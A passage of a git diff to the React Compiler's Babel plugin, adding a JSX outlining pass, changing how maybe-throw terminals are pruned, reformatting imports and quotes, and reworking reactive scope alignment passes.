+          outlineJsxImpl(value.loweredFunc.func, outlinedFns);
+          break;
+        }
+
+        case 'JsxExpression': {
+          if (!state.children.has(lvalue.identifier.id)) {
+            processAndOutlineJSX(state, rewriteInstr);
+
+            state = {
+              jsx: [],
+              children: new Set(),
+            };
+          }
+          state.jsx.push(instr as JsxInstruction);
+          if (value.children) {
+            for (const child of value.children) {
+              state.children.add(child.identifier.id);
+            }
+          }
+          break;
+        }
+        case 'ArrayExpression':
+        case 'Await':
+        case 'BinaryExpression':
+        case 'CallExpression':
+        case 'ComputedDelete':
+        case 'ComputedLoad':
+        case 'ComputedStore':
+        case 'Debugger':
+        case 'DeclareContext':
+        case 'DeclareLocal':
+        case 'Destructure':
+        case 'FinishMemoize':
+        case 'GetIterator':
+        case 'IteratorNext':
+        case 'JSXText':
+        case 'JsxFragment':
+        case 'LoadContext':
+        case 'LoadLocal':
+        case 'MetaProperty':
+        case 'MethodCall':
+        case 'NewExpression':
+        case 'NextPropertyOf':
+        case 'ObjectExpression':
+        case 'ObjectMethod':
+        case 'PostfixUpdate':
+        case 'PrefixUpdate':
+        case 'Primitive':
+        case 'PropertyDelete':
+        case 'PropertyLoad':
+        case 'PropertyStore':
+        case 'RegExpLiteral':
+        case 'StartMemoize':
+        case 'StoreContext':
+        case 'StoreGlobal':
+        case 'StoreLocal':
+        case 'TaggedTemplateExpression':
+        case 'TemplateLiteral':
+        case 'TypeCastExpression':
+        case 'UnsupportedNode':
+        case 'UnaryExpression': {
+          break;
+        }
+        default: {
+          assertExhaustive(value, `Unexpected instruction: ${value}`);
+        }
+      }
+    }
+    processAndOutlineJSX(state, rewriteInstr);
+
+    if (rewriteInstr.size > 0) {
+      const newInstrs = [];
+      for (let i = 0; i < block.instructions.length; i++) {
+        // InstructionId's are one-indexed, so add one to account for them.
+        const id = i + 1;
+        if (rewriteInstr.has(id)) {
+          const instrs = rewriteInstr.get(id);
+          newInstrs.push(...instrs);
+        } else {
+          newInstrs.push(block.instructions[i]);
+        }
+      }
+      block.instructions = newInstrs;
+    }
+    deadCodeElimination(fn);
+  }
+}
+
+type OutlinedResult = {
+  instrs: Array<Instruction>;
+  fn: HIRFunction;
+};
+
+function process(
+  fn: HIRFunction,
+  jsx: Array<JsxInstruction>,
+  globals: LoadGlobalMap,
+): OutlinedResult | null {
+  /**
+   * In the future, add a check for backedge to outline jsx inside loops in a
+   * top level component. For now, only outline jsx in callbacks.
+   */
+  if (fn.fnType === 'Component') {
+    return null;
+  }
+
+  const props = collectProps(fn.env, jsx);
+  if (!props) return null;
+
+  const outlinedTag = fn.env.generateGloballyUniqueIdentifierName(null).value;
+  const newInstrs = emitOutlinedJsx(fn.env, jsx, props, outlinedTag);
+  if (!newInstrs) return null;
+
+  const outlinedFn = emitOutlinedFn(fn.env, jsx, props, globals);
+  if (!outlinedFn) return null;
+  outlinedFn.id = outlinedTag;
+
+  return {instrs: newInstrs, fn: outlinedFn};
+}
+
+type OutlinedJsxAttribute = {
+  originalName: string;
+  newName: string;
+  place: Place;
+};
+
+function collectProps(
+  env: Environment,
+  instructions: Array<JsxInstruction>,
+): Array<OutlinedJsxAttribute> | null {
+  let id = 1;
+
+  function generateName(oldName: string): string {
+    let newName = oldName;
+    while (seen.has(newName)) {
+      newName = `${oldName}${id++}`;
+    }
+    seen.add(newName);
+    env.programContext.addNewReference(newName);
+    return newName;
+  }
+
+  const attributes: Array<OutlinedJsxAttribute> = [];
+  const jsxIds = new Set(instructions.map(i => i.lvalue.identifier.id));
+  const seen: Set<string> = new Set();
+
+  for (const instr of instructions) {
+    const {value} = instr;
+
+    for (const at of value.props) {
+      if (at.kind === 'JsxSpreadAttribute') {
+        return null;
+      }
+
+      if (at.kind === 'JsxAttribute') {
+        const newName = generateName(at.name);
+        attributes.push({
+          originalName: at.name,
+          newName,
+          place: at.place,
+        });
+      }
+    }
+
+    if (value.children) {
+      for (const child of value.children) {
+        if (jsxIds.has(child.identifier.id)) {
+          continue;
+        }
+
+        promoteTemporary(child.identifier);
+        const newName = generateName('t');
+        attributes.push({
+          originalName: child.identifier.name!.value,
+          newName: newName,
+          place: child,
+        });
+      }
+    }
+  }
+  return attributes;
+}
+
+function emitOutlinedJsx(
+  env: Environment,
+  instructions: Array<Instruction>,
+  outlinedProps: Array<OutlinedJsxAttribute>,
+  outlinedTag: string,
+): Array<Instruction> {
+  const props: Array<JsxAttribute> = outlinedProps.map(p => ({
+    kind: 'JsxAttribute',
+    name: p.newName,
+    place: p.place,
+  }));
+
+  const loadJsx: Instruction = {
+    id: makeInstructionId(0),
+    loc: GeneratedSource,
+    lvalue: createTemporaryPlace(env, GeneratedSource),
+    value: {
+      kind: 'LoadGlobal',
+      binding: {
+        kind: 'ModuleLocal',
+        name: outlinedTag,
+      },
+      loc: GeneratedSource,
+    },
+    effects: null,
+  };
+  promoteTemporaryJsxTag(loadJsx.lvalue.identifier);
+  const jsxExpr: Instruction = {
+    id: makeInstructionId(0),
+    loc: GeneratedSource,
+    lvalue: instructions.at(-1)!.lvalue,
+    value: {
+      kind: 'JsxExpression',
+      tag: {...loadJsx.lvalue},
+      props,
+      children: null,
+      loc: GeneratedSource,
+      openingLoc: GeneratedSource,
+      closingLoc: GeneratedSource,
+    },
+    effects: null,
+  };
+
+  return [loadJsx, jsxExpr];
+}
+
+function emitOutlinedFn(
+  env: Environment,
+  jsx: Array<JsxInstruction>,
+  oldProps: Array<OutlinedJsxAttribute>,
+  globals: LoadGlobalMap,
+): HIRFunction | null {
+  const instructions: Array<Instruction> = [];
+  const oldToNewProps = createOldToNewPropsMapping(env, oldProps);
+
+  const propsObj: Place = createTemporaryPlace(env, GeneratedSource);
+  promoteTemporary(propsObj.identifier);
+
+  const destructurePropsInstr = emitDestructureProps(
+    env,
+    propsObj,
+    oldToNewProps,
+  );
+  instructions.push(destructurePropsInstr);
+
+  const updatedJsxInstructions = emitUpdatedJsx(jsx, oldToNewProps);
+  const loadGlobalInstrs = emitLoadGlobals(jsx, globals);
+  if (!loadGlobalInstrs) {
+    return null;
+  }
+  instructions.push(...loadGlobalInstrs);
+  instructions.push(...updatedJsxInstructions);
+
+  const block: BasicBlock = {
+    kind: 'block',
+    id: makeBlockId(0),
+    instructions,
+    terminal: {
+      id: makeInstructionId(0),
+      kind: 'return',
+      returnVariant: 'Explicit',
+      loc: GeneratedSource,
+      value: instructions.at(-1)!.lvalue,
+      effects: null,
+    },
+    preds: new Set(),
+    phis: new Set(),
+  };
+
+  const fn: HIRFunction = {
+    loc: GeneratedSource,
+    id: null,
+    nameHint: null,
+    fnType: 'Other',
+    env,
+    params: [propsObj],
+    returnTypeAnnotation: null,
+    returns: createTemporaryPlace(env, GeneratedSource),
+    context: [],
+    body: {
+      entry: block.id,
+      blocks: new Map([[block.id, block]]),
+    },
+    generator: false,
+    async: false,
+    directives: [],
+    aliasingEffects: [],
+  };
+  return fn;
+}
+
+function emitLoadGlobals(
+  jsx: Array<JsxInstruction>,
+  globals: LoadGlobalMap,
+): Array<Instruction> | null {
+  const instructions: Array<Instruction> = [];
+  for (const {value} of jsx) {
+    // Add load globals instructions for jsx tags
+    if (value.tag.kind === 'Identifier') {
+      const loadGlobalInstr = globals.get(value.tag.identifier.id);
+      if (!loadGlobalInstr) {
+        return null;
+      }
+      instructions.push(loadGlobalInstr);
+    }
+  }
+
+  return instructions;
+}
+
+function emitUpdatedJsx(
+  jsx: Array<JsxInstruction>,
+  oldToNewProps: Map<IdentifierId, OutlinedJsxAttribute>,
+): Array<JsxInstruction> {
+  const newInstrs: Array<JsxInstruction> = [];
+  const jsxIds = new Set(jsx.map(i => i.lvalue.identifier.id));
+
+  for (const instr of jsx) {
+    const {value} = instr;
+    const newProps: Array<JsxAttribute> = [];
+    // Update old props references to use the newly destructured props param
+    for (const prop of value.props) {
+      invariant(
+        prop.kind === 'JsxAttribute',
+        `Expected only attributes but found ${prop.kind}`,
+      );
+      if (prop.name === 'key') {
+        continue;
+      }
+      const newProp = oldToNewProps.get(prop.place.identifier.id);
+      invariant(
+        newProp !== undefined,
+        `Expected a new property for ${printIdentifier(prop.place.identifier)}`,
+      );
+      newProps.push({
+        kind: 'JsxAttribute',
+        name: newProp.originalName,
+        place: newProp.place,
+      });
+    }
+
+    let newChildren: Array<Place> | null = null;
+    if (value.children) {
+      newChildren = [];
+      for (const child of value.children) {
+        if (jsxIds.has(child.identifier.id)) {
+          newChildren.push({...child});
+          continue;
+        }
+
+        const newChild = oldToNewProps.get(child.identifier.id);
+        invariant(
+          newChild !== undefined,
+          `Expected a new prop for ${printIdentifier(child.identifier)}`,
+        );
+        newChildren.push({...newChild.place});
+      }
+    }
+
+    newInstrs.push({
+      ...instr,
+      value: {
+        ...value,
+        props: newProps,
+        children: newChildren,
+      },
+    });
+  }
+
+  return newInstrs;
+}
+
+function createOldToNewPropsMapping(
+  env: Environment,
+  oldProps: Array<OutlinedJsxAttribute>,
+): Map<IdentifierId, OutlinedJsxAttribute> {
+  const oldToNewProps = new Map();
+
+  for (const oldProp of oldProps) {
+    // Do not read key prop in the outlined component
+    if (oldProp.originalName === 'key') {
+      continue;
+    }
+
+    const newProp: OutlinedJsxAttribute = {
+      ...oldProp,
+      place: createTemporaryPlace(env, GeneratedSource),
+    };
+    newProp.place.identifier.name = makeIdentifierName(oldProp.newName);
+    oldToNewProps.set(oldProp.place.identifier.id, newProp);
+  }
+
+  return oldToNewProps;
+}
+
+function emitDestructureProps(
+  env: Environment,
+  propsObj: Place,
+  oldToNewProps: Map<IdentifierId, OutlinedJsxAttribute>,
+): Instruction {
+  const properties: Array<ObjectProperty> = [];
+  for (const [_, prop] of oldToNewProps) {
+    properties.push({
+      kind: 'ObjectProperty',
+      key: {
+        kind: 'string',
+        name: prop.newName,
+      },
+      type: 'property',
+      place: prop.place,
+    });
+  }
+
+  const destructurePropsInstr: Instruction = {
+    id: makeInstructionId(0),
+    lvalue: createTemporaryPlace(env, GeneratedSource),
+    loc: GeneratedSource,
+    value: {
+      kind: 'Destructure',
+      lvalue: {
+        pattern: {
+          kind: 'ObjectPattern',
+          properties,
+          loc: GeneratedSource,
+        },
+        kind: InstructionKind.Let,
+      },
+      loc: GeneratedSource,
+      value: propsObj,
+    },
+    effects: null,
+  };
+  return destructurePropsInstr;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Optimization/PruneMaybeThrows.ts b/compiler/packages/babel-plugin-react-compiler/src/Optimization/PruneMaybeThrows.ts
index f73432e81fdd..6d3164692556 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Optimization/PruneMaybeThrows.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Optimization/PruneMaybeThrows.ts
@@ -5,29 +5,34 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "..";
+import {CompilerError} from '..';
 import {
   BlockId,
   GeneratedSource,
-  GotoVariant,
   HIRFunction,
   Instruction,
   assertConsistentIdentifiers,
   assertTerminalSuccessorsExist,
   mergeConsecutiveBlocks,
   reversePostorderBlocks,
-} from "../HIR";
+} from '../HIR';
 import {
   markInstructionIds,
   removeDeadDoWhileStatements,
   removeUnnecessaryTryCatch,
   removeUnreachableForUpdates,
-} from "../HIR/HIRBuilder";
-import { printIdentifier } from "../HIR/PrintHIR";
+} from '../HIR/HIRBuilder';
+import {printPlace} from '../HIR/PrintHIR';
 
-/*
- * This pass prunes `maybe-throw` terminals for blocks that can provably *never* throw.
- * For now this is very conservative, and only affects blocks with primitives or
+/**
+ * This pass updates `maybe-throw` terminals for blocks that can provably *never* throw,
+ * nulling out the handler to indicate that control will always continue. Note that
+ * rewriting to a `goto` disrupts the structure of the HIR, making it more difficult to
+ * reconstruct an ast during BuildReactiveFunction. Preserving the maybe-throw makes the
+ * continuations clear, while nulling out the handler tells us that control cannot flow
+ * to the handler.
+ *
+ * For now the analysis is very conservative, and only affects blocks with primitives or
  * array/object literals. Even a variable reference could throw bc of the TDZ.
  */
 export function pruneMaybeThrows(fn: HIRFunction): void {
@@ -52,11 +57,10 @@ export function pruneMaybeThrows(fn: HIRFunction): void {
             const mappedTerminal = terminalMapping.get(predecessor);
             CompilerError.invariant(mappedTerminal != null, {
               reason: `Expected non-existing phi operand's predecessor to have been mapped to a new terminal`,
-              loc: GeneratedSource,
               description: `Could not find mapping for predecessor bb${predecessor} in block bb${
                 block.id
-              } for phi ${printIdentifier(phi.id)}`,
-              suggestions: null,
+              } for phi ${printPlace(phi.place)}`,
+              loc: GeneratedSource,
             });
             phi.operands.delete(predecessor);
             phi.operands.set(mappedTerminal, operand);
@@ -74,22 +78,16 @@ function pruneMaybeThrowsImpl(fn: HIRFunction): Map<BlockId, BlockId> | null {
   const terminalMapping = new Map<BlockId, BlockId>();
   for (const [_, block] of fn.body.blocks) {
     const terminal = block.terminal;
-    if (terminal.kind !== "maybe-throw") {
+    if (terminal.kind !== 'maybe-throw') {
       continue;
     }
-    const canThrow = block.instructions.some((instr) =>
-      instructionMayThrow(instr)
+    const canThrow = block.instructions.some(instr =>
+      instructionMayThrow(instr),
     );
     if (!canThrow) {
       const source = terminalMapping.get(block.id) ?? block.id;
       terminalMapping.set(terminal.continuation, source);
-      block.terminal = {
-        kind: "goto",
-        block: terminal.continuation,
-        variant: GotoVariant.Break,
-        id: terminal.id,
-        loc: terminal.loc,
-      };
+      terminal.handler = null;
     }
   }
   return terminalMapping.size > 0 ? terminalMapping : null;
@@ -97,9 +95,9 @@ function pruneMaybeThrowsImpl(fn: HIRFunction): Map<BlockId, BlockId> | null {
 
 function instructionMayThrow(instr: Instruction): boolean {
   switch (instr.value.kind) {
-    case "Primitive":
-    case "ArrayExpression":
-    case "ObjectExpression": {
+    case 'Primitive':
+    case 'ArrayExpression':
+    case 'ObjectExpression': {
       return false;
     }
     default: {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Optimization/index.ts b/compiler/packages/babel-plugin-react-compiler/src/Optimization/index.ts
index 4d2cffdbdf22..722b05a80996 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Optimization/index.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Optimization/index.ts
@@ -5,6 +5,6 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-export { constantPropagation } from "./ConstantPropagation";
-export { deadCodeElimination } from "./DeadCodeElimination";
-export { pruneMaybeThrows } from "./PruneMaybeThrows";
+export {constantPropagation} from './ConstantPropagation';
+export {deadCodeElimination} from './DeadCodeElimination';
+export {pruneMaybeThrows} from './PruneMaybeThrows';
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignMethodCallScopes.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignMethodCallScopes.ts
index fd56f6cab9dd..9c72f24b0f33 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignMethodCallScopes.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignMethodCallScopes.ts
@@ -10,8 +10,8 @@ import {
   IdentifierId,
   ReactiveScope,
   makeInstructionId,
-} from "../HIR";
-import DisjointSet from "../Utils/DisjointSet";
+} from '../HIR';
+import DisjointSet from '../Utils/DisjointSet';
 
 /**
  * Ensures that method call instructions have scopes such that either:
@@ -24,8 +24,8 @@ export function alignMethodCallScopes(fn: HIRFunction): void {
 
   for (const [, block] of fn.body.blocks) {
     for (const instr of block.instructions) {
-      const { lvalue, value } = instr;
-      if (value.kind === "MethodCall") {
+      const {lvalue, value} = instr;
+      if (value.kind === 'MethodCall') {
         const lvalueScope = lvalue.identifier.scope;
         const propertyScope = value.property.identifier.scope;
         if (lvalueScope !== null) {
@@ -44,8 +44,8 @@ export function alignMethodCallScopes(fn: HIRFunction): void {
           scopeMapping.set(value.property.identifier.id, null);
         }
       } else if (
-        value.kind === "FunctionExpression" ||
-        value.kind === "ObjectMethod"
+        value.kind === 'FunctionExpression' ||
+        value.kind === 'ObjectMethod'
       ) {
         alignMethodCallScopes(value.loweredFunc.func);
       }
@@ -57,10 +57,10 @@ export function alignMethodCallScopes(fn: HIRFunction): void {
       return;
     }
     root.range.start = makeInstructionId(
-      Math.min(scope.range.start, root.range.start)
+      Math.min(scope.range.start, root.range.start),
     );
     root.range.end = makeInstructionId(
-      Math.max(scope.range.end, root.range.end)
+      Math.max(scope.range.end, root.range.end),
     );
   });
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignObjectMethodScopes.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignObjectMethodScopes.ts
index b6f8f833c853..317168f98685 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignObjectMethodScopes.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignObjectMethodScopes.ts
@@ -5,16 +5,16 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "..";
+import {CompilerError} from '..';
 import {
   GeneratedSource,
   HIRFunction,
   Identifier,
   ReactiveScope,
   makeInstructionId,
-} from "../HIR";
-import { eachInstructionValueOperand } from "../HIR/visitors";
-import DisjointSet from "../Utils/DisjointSet";
+} from '../HIR';
+import {eachInstructionValueOperand} from '../HIR/visitors';
+import DisjointSet from '../Utils/DisjointSet';
 
 /**
  * Align scopes of object method values to that of their enclosing object expressions.
@@ -27,10 +27,10 @@ function findScopesToMerge(fn: HIRFunction): DisjointSet<ReactiveScope> {
   const mergeScopesBuilder = new DisjointSet<ReactiveScope>();
 
   for (const [_, block] of fn.body.blocks) {
-    for (const { lvalue, value } of block.instructions) {
-      if (value.kind === "ObjectMethod") {
+    for (const {lvalue, value} of block.instructions) {
+      if (value.kind === 'ObjectMethod') {
         objectMethodDecls.add(lvalue.identifier);
-      } else if (value.kind === "ObjectExpression") {
+      } else if (value.kind === 'ObjectExpression') {
         for (const operand of eachInstructionValueOperand(value)) {
           if (objectMethodDecls.has(operand.identifier)) {
             const operandScope = operand.identifier.scope;
@@ -40,10 +40,9 @@ function findScopesToMerge(fn: HIRFunction): DisjointSet<ReactiveScope> {
               operandScope != null && lvalueScope != null,
               {
                 reason:
-                  "Internal error: Expected all ObjectExpressions and ObjectMethods to have non-null scope.",
-                suggestions: null,
+                  'Internal error: Expected all ObjectExpressions and ObjectMethods to have non-null scope.',
                 loc: GeneratedSource,
-              }
+              },
             );
             mergeScopesBuilder.union([operandScope, lvalueScope]);
           }
@@ -57,10 +56,10 @@ function findScopesToMerge(fn: HIRFunction): DisjointSet<ReactiveScope> {
 export function alignObjectMethodScopes(fn: HIRFunction): void {
   // Handle inner functions: we assume that Scopes are disjoint across functions
   for (const [_, block] of fn.body.blocks) {
-    for (const { value } of block.instructions) {
+    for (const {value} of block.instructions) {
       if (
-        value.kind === "ObjectMethod" ||
-        value.kind === "FunctionExpression"
+        value.kind === 'ObjectMethod' ||
+        value.kind === 'FunctionExpression'
       ) {
         alignObjectMethodScopes(value.loweredFunc.func);
       }
@@ -74,10 +73,10 @@ export function alignObjectMethodScopes(fn: HIRFunction): void {
   for (const [scope, root] of scopeGroupsMap) {
     if (scope !== root) {
       root.range.start = makeInstructionId(
-        Math.min(scope.range.start, root.range.start)
+        Math.min(scope.range.start, root.range.start),
       );
       root.range.end = makeInstructionId(
-        Math.max(scope.range.end, root.range.end)
+        Math.max(scope.range.end, root.range.end),
       );
     }
   }
@@ -87,7 +86,7 @@ export function alignObjectMethodScopes(fn: HIRFunction): void {
    */
   for (const [_, block] of fn.body.blocks) {
     for (const {
-      lvalue: { identifier },
+      lvalue: {identifier},
     } of block.instructions) {
       if (identifier.scope != null) {
         const root = scopeGroupsMap.get(identifier.scope);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignReactiveScopesToBlockScopes.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignReactiveScopesToBlockScopes.ts
deleted file mode 100644
index 09978b186226..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignReactiveScopesToBlockScopes.ts
+++ /dev/null
@@ -1,187 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import {
-  InstructionId,
-  Place,
-  ReactiveBlock,
-  ReactiveFunction,
-  ReactiveInstruction,
-  ReactiveScope,
-  ScopeId,
-  makeInstructionId,
-} from "../HIR/HIR";
-import { getPlaceScope } from "./BuildReactiveBlocks";
-import { ReactiveFunctionVisitor, visitReactiveFunction } from "./visitors";
-
-/*
- * Note: this is the 2nd of 4 passes that determine how to break a function into discrete
- * reactive scopes (independently memoizeable units of code):
- * 1. InferReactiveScopeVariables (on HIR) determines operands that mutate together and assigns
- *     them a unique reactive scope.
- * 2. AlignReactiveScopesToBlockScopes (this pass, on ReactiveFunction) aligns reactive scopes
- *     to block scopes.
- * 3. MergeOverlappingReactiveScopes (on ReactiveFunction) ensures that reactive scopes do not
- *     overlap, merging any such scopes.
- * 4. BuildReactiveBlocks (on ReactiveFunction) groups the statements for each scope into
- *     a ReactiveScopeBlock.
- *
- * Prior inference passes assign a reactive scope to each operand, but the ranges of these
- * scopes are based on specific instructions at arbitrary points in the control-flow graph.
- * However, to codegen blocks around the instructions in each scope, the scopes must be
- * aligned to block-scope boundaries - we can't memoize half of a loop!
- *
- * This pass updates reactive scope boundaries to align to control flow boundaries, for
- * example:
- *
- * ```javascript
- * function foo(cond, a) {
- *                     ⌵ original scope
- *                          ⌵ expanded scope
- *    const x = [];    ⌝    ⌝
- *    if (cond) {      ⎮    ⎮
- *      ...            ⎮    ⎮
- *      x.push(a);     ⌟    ⎮
- *      ...                 ⎮
- *    }                     ⌟
- * }
- * ```
- *
- * Here the original scope for `x` ended partway through the if consequent, but we can't
- * memoize part of that block. This pass would align the scope to the end of the consequent.
- *
- * The more general rule is that a reactive scope may only end at the same block scope as it
- * began: this pass therefore finds, for each scope, the block where that scope started and
- * finds the first instruction after the scope's mutable range in that same block scope (which
- * will be the updated end for that scope).
- */
-
-export function alignReactiveScopesToBlockScopes(fn: ReactiveFunction): void {
-  const context = new Context();
-  visitReactiveFunction(fn, new Visitor(), context);
-}
-
-class Visitor extends ReactiveFunctionVisitor<Context> {
-  override visitID(id: InstructionId, state: Context): void {
-    state.visitId(id);
-  }
-  override visitPlace(id: InstructionId, place: Place, state: Context): void {
-    const scope = getPlaceScope(id, place);
-    if (scope !== null) {
-      state.visitScope(scope);
-    }
-  }
-  override visitLValue(id: InstructionId, lvalue: Place, state: Context): void {
-    const scope = getPlaceScope(id, lvalue);
-    if (scope !== null) {
-      state.visitScope(scope);
-    }
-  }
-
-  override visitInstruction(instr: ReactiveInstruction, state: Context): void {
-    switch (instr.value.kind) {
-      case "OptionalExpression":
-      case "SequenceExpression":
-      case "ConditionalExpression":
-      case "LogicalExpression": {
-        const prevScopeCount = state.currentScopes().length;
-        this.traverseInstruction(instr, state);
-
-        /**
-         * These compound value types can have nested sequences of instructions
-         * with scopes that start "partway" through a block-level instruction.
-         * This would cause the start of the scope to not align with any block-level
-         * instruction and get skipped by the later BuildReactiveBlocks pass.
-         *
-         * Here we detect scopes created within compound instructions and align the
-         * start of these scopes to the outer instruction id to ensure the scopes
-         * aren't skipped.
-         */
-        const scopes = state.currentScopes();
-        for (let i = prevScopeCount; i < scopes.length; i++) {
-          const scope = scopes[i];
-          scope.scope.range.start = makeInstructionId(
-            Math.min(instr.id, scope.scope.range.start)
-          );
-        }
-        break;
-      }
-      default: {
-        this.traverseInstruction(instr, state);
-      }
-    }
-  }
-
-  override visitBlock(block: ReactiveBlock, state: Context): void {
-    state.enter(() => {
-      this.traverseBlock(block, state);
-    });
-  }
-}
-
-type PendingReactiveScope = { active: boolean; scope: ReactiveScope };
-
-class Context {
-  /*
-   * For each block scope (outer array) stores a list of ReactiveScopes that start
-   * in that block scope.
-   */
-  #blockScopes: Array<Array<PendingReactiveScope>> = [];
-
-  /*
-   * ReactiveScopes whose declaring block scope has ended but may still need to
-   * be "closed" (ie have their range.end be updated). A given scope can be in
-   * blockScopes OR this array but not both.
-   */
-  #unclosedScopes: Array<PendingReactiveScope> = [];
-
-  /*
-   * Set of all scope ids that have been seen so far, regardless of which of
-   * the above data structures they're in, to avoid tracking the same scope twice.
-   */
-  #seenScopes: Set<ScopeId> = new Set();
-
-  currentScopes(): Array<PendingReactiveScope> {
-    return this.#blockScopes.at(-1) ?? [];
-  }
-
-  enter(fn: () => void): void {
-    this.#blockScopes.push([]);
-    fn();
-    const lastScope = this.#blockScopes.pop()!;
-    for (const scope of lastScope) {
-      if (scope.active) {
-        this.#unclosedScopes.push(scope);
-      }
-    }
-  }
-
-  visitId(id: InstructionId): void {
-    const currentScopes = this.#blockScopes.at(-1)!;
-    const scopes = [...currentScopes, ...this.#unclosedScopes];
-    for (const pending of scopes) {
-      if (!pending.active) {
-        continue;
-      }
-      if (id >= pending.scope.range.end) {
-        pending.active = false;
-        pending.scope.range.end = id;
-      }
-    }
-  }
-
-  visitScope(scope: ReactiveScope): void {
-    if (!this.#seenScopes.has(scope.id)) {
-      const currentScopes = this.#blockScopes.at(-1)!;
-      this.#seenScopes.add(scope.id);
-      currentScopes.push({
-        active: true,
-        scope,
-      });
-    }
-  }
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignReactiveScopesToBlockScopesHIR.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignReactiveScopesToBlockScopesHIR.ts
index 3e451c23c780..e440340bd29f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignReactiveScopesToBlockScopesHIR.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignReactiveScopesToBlockScopesHIR.ts
@@ -5,7 +5,7 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "..";
+import {CompilerError} from '..';
 import {
   BlockId,
   HIRFunction,
@@ -13,17 +13,19 @@ import {
   MutableRange,
   Place,
   ReactiveScope,
+  getPlaceScope,
   makeInstructionId,
-} from "../HIR/HIR";
+} from '../HIR/HIR';
 import {
   eachInstructionLValue,
   eachInstructionValueOperand,
   eachTerminalOperand,
   mapTerminalSuccessors,
   terminalFallthrough,
-} from "../HIR/visitors";
-import { getPlaceScope } from "./BuildReactiveBlocks";
+} from '../HIR/visitors';
+import {retainWhere_Set} from '../Utils/utils';
 
+type InstructionRange = MutableRange;
 /*
  * Note: this is the 2nd of 4 passes that determine how to break a function into discrete
  * reactive scopes (independently memoizeable units of code):
@@ -66,18 +68,20 @@ import { getPlaceScope } from "./BuildReactiveBlocks";
  * will be the updated end for that scope).
  */
 export function alignReactiveScopesToBlockScopesHIR(fn: HIRFunction): void {
-  const blockNodes = new Map<BlockId, BlockNode>();
-  const rootNode: BlockNode = {
-    kind: "node",
-    valueRange: null,
-    children: [],
-    id: makeInstructionId(0),
-  };
-  blockNodes.set(fn.body.entry, rootNode);
+  const activeBlockFallthroughRanges: Array<{
+    range: InstructionRange;
+    fallthrough: BlockId;
+  }> = [];
+  const activeScopes = new Set<ReactiveScope>();
   const seen = new Set<ReactiveScope>();
+  const valueBlockNodes = new Map<BlockId, ValueBlockNode>();
   const placeScopes = new Map<Place, ReactiveScope>();
 
-  function recordPlace(id: InstructionId, place: Place, node: BlockNode): void {
+  function recordPlace(
+    id: InstructionId,
+    place: Place,
+    node: ValueBlockNode | null,
+  ): void {
     if (place.identifier.scope !== null) {
       placeScopes.set(place, place.identifier.scope);
     }
@@ -86,33 +90,43 @@ export function alignReactiveScopesToBlockScopesHIR(fn: HIRFunction): void {
     if (scope == null) {
       return;
     }
-    node.children.push({ kind: "scope", scope, id });
+    activeScopes.add(scope);
+    node?.children.push({kind: 'scope', scope, id});
 
     if (seen.has(scope)) {
       return;
     }
     seen.add(scope);
-    if (node.valueRange !== null) {
+    if (node != null && node.valueRange !== null) {
       scope.range.start = makeInstructionId(
-        Math.min(node.valueRange.start, scope.range.start)
+        Math.min(node.valueRange.start, scope.range.start),
       );
       scope.range.end = makeInstructionId(
-        Math.max(node.valueRange.end, scope.range.end)
+        Math.max(node.valueRange.end, scope.range.end),
       );
     }
   }
 
   for (const [, block] of fn.body.blocks) {
-    const { instructions, terminal } = block;
-    const node = blockNodes.get(block.id);
-    if (node === undefined) {
-      CompilerError.invariant(false, {
-        reason: `Expected a node to be initialized for block`,
-        loc: instructions[0]?.loc ?? terminal.loc,
-        description: `No node for block bb${block.id} (${block.kind})`,
-      });
+    const startingId = block.instructions[0]?.id ?? block.terminal.id;
+    retainWhere_Set(activeScopes, scope => scope.range.end > startingId);
+    const top = activeBlockFallthroughRanges.at(-1);
+    if (top?.fallthrough === block.id) {
+      activeBlockFallthroughRanges.pop();
+      /*
+       * All active scopes must have either started before or within the last
+       * block-fallthrough range. In either case, they overlap this block-
+       * fallthrough range and can have their ranges extended.
+       */
+      for (const scope of activeScopes) {
+        scope.range.start = makeInstructionId(
+          Math.min(scope.range.start, top.range.start),
+        );
+      }
     }
 
+    const {instructions, terminal} = block;
+    const node = valueBlockNodes.get(block.id) ?? null;
     for (const instr of instructions) {
       for (const lvalue of eachInstructionLValue(instr)) {
         recordPlace(instr.id, lvalue, node);
@@ -125,36 +139,77 @@ export function alignReactiveScopesToBlockScopesHIR(fn: HIRFunction): void {
       recordPlace(terminal.id, operand, node);
     }
 
-    // Save the current node for the fallback block, where this block scope continues
     const fallthrough = terminalFallthrough(terminal);
-    if (fallthrough !== null && !blockNodes.has(fallthrough)) {
+    if (fallthrough !== null && terminal.kind !== 'branch') {
       /*
-       * Any scopes that carried over across a terminal->fallback need their range extended
-       * to at least the first instruction of the fallback
-       *
